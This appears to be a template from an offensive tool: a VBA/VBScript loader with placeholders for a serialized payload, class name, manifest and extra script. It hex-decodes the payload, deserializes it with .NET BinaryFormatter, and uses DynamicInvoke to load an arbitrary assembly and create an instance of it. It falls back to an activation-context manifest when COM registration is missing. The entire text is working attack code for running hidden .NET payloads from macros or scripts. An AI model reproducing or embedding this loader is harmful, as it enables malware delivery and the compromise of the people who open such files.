Private Function decodeHex(hex)
    On Error Resume Next
    Dim DM, EL
    Set DM = CreateObject("Microsoft.XMLDOM")
    Set EL = DM.createElement("tmp")
    EL.DataType = "bin.hex"
    EL.Text = hex
    decodeHex = EL.NodeTypedValue
End Function

Function Run()
    On Error Resume Next

    Dim s As String
    %SERIALIZED%

    entry_class = "%CLASS%"

    Dim stm As Object, fmt As Object, al As Object
    Set stm = CreateObject("System.IO.MemoryStream")

    If stm Is Nothing Then
        %MANIFEST%

        Set ax = CreateObject("Microsoft.Windows.ActCtx")
		ax.ManifestText = manifest
		
        Set stm = ax.CreateObject("System.IO.MemoryStream")
        Set fmt = ax.CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
        Set al = ax.CreateObject("System.Collections.ArrayList")
    Else
        Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
        Set al = CreateObject("System.Collections.ArrayList")
    End If

    Dim dec
    dec = decodeHex(s)

    For Each i In dec
        stm.WriteByte i
    Next i

    stm.Position = 0

    Dim n As Object, d As Object, o As Object
    Set d = fmt.Deserialize_2(stm)
    al.Add Empty

    Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
    %ADDEDSCRIPT%
    If Err.Number <> 0 Then
      DebugPrint Err.Description
      Err.Clear
    End If
End Function